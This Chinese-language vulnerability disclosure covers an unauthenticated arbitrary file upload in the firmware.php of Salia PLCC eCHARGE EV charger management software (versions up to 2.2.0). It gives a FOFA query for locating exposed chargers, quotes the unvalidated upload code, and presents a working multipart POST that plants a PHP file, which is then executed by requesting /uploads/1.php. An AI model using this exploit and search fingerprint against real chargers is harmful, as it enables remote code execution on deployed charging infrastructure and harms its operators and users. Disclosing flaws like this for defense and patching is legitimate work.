漏洞简介
Salia PLCC 的 eCHARGE 系列提供适用于家庭、企业和公共场所的智能电动汽车充电解决方案,具备高效充电、动态负载管理和光伏系统集成等功能的充电站。其充电管理系统 firmware.php 存在任意文件上传漏洞,允许未授权攻击者利用此漏洞向服务器上传任意文件,如 php 文件进行代码执行获取系统权限。
影响版本
<=2.2.0(最新版)
fofa语法
"Salia PLCC"
漏洞分析
看下 firmware.php 的业务逻辑实现,如下
<?php
try{
if($_SERVER['REQUEST_METHOD']=='POST'){
$uploadManager=new \UploadManager\Upload('media');
$chunks=$uploadManager->upload('uploads');
if(!empty($chunks)){
foreach($chunks as $chunk){
echo '<br><b>';
echo '<p>'.$chunk->getNameWithExtension().$lang->tx('!upload1').'</p>';
echo '<br>';
echo '<p>'.$lang->tx('!upload2').'</p>';
echo '<br></b>';
$fw_install = True;
// Start Firmware Update
// mqtt message mit update und filename raus
// file ist in /srv/uploads ...
// filename mit uebergeben ...
// redirect nach reboot.php ...
// port0/salia/updatefirmware <filename>
$update_ready = True;
$update_filename = $chunk->getNameWithExtension();
}
}
}
}catch(\UploadManager\Exceptions\Upload $exception){
//if file exists: (user selects a file)
if(!empty($exception->getChunk())){
foreach($exception->getChunk()->getErrors() as $error){
echo '<p>'.$error.'</p>';
}
}else{
echo '<p>'.$exception->getMessage().'</p>';
}
}
?>
- 代码仅在请求方法为POST时执行上传逻辑。
- 使用了
\UploadManager\Upload类处理名为media的上传文件。 - 调用
upload('uploads')方法,上传文件保存到uploads目录
看下 UploadManager/Upload.php 里 upload 方法的实现
public function upload($path=null,$nameWithExtension=null,$uniqueNameInPath=false,$offset=null,$length=null)
{
//set upload path
foreach($this->chunks as $chunk){
if(!empty($nameWithExtension)){
$chunk->setNameAndExtension($nameWithExtension);
}
//check if name is unique in that path?
if(!empty($uniqueNameInPath)){
$name=static::findUniqueName($path,$chunk->getName(),$chunk->getExtension());
$chunk->setName($name);
}
if(empty($path)){
$path='./';
}
$chunk->setSavePath($path);
}
//validation
if ($this->validate() === false) {
$message=null;
foreach($this->errors as $error){
$message.=$error.PHP_EOL;
}
throw new UploadException($message);
}
foreach ($this->chunks as $chunk) {
$this->applyCallback('beforeUpload', $chunk);
$chunk->save(null,$offset,$length);
$this->applyCallback('afterUpload', $chunk);
}
return $this->chunks;
}
对于文件名,路径,无任何过滤或校验,导致任意文件上传漏洞。总体执行流程如下图所示

漏洞复现
POST /firmware.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Host: salia.mrxn.net
------WebKitFormBoundary
Content-Disposition: form-data; name="media"; filename="1.php"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--
成功上传 1.php 文件

访问上传文件 /uploads/1.php

成功执行上传代码


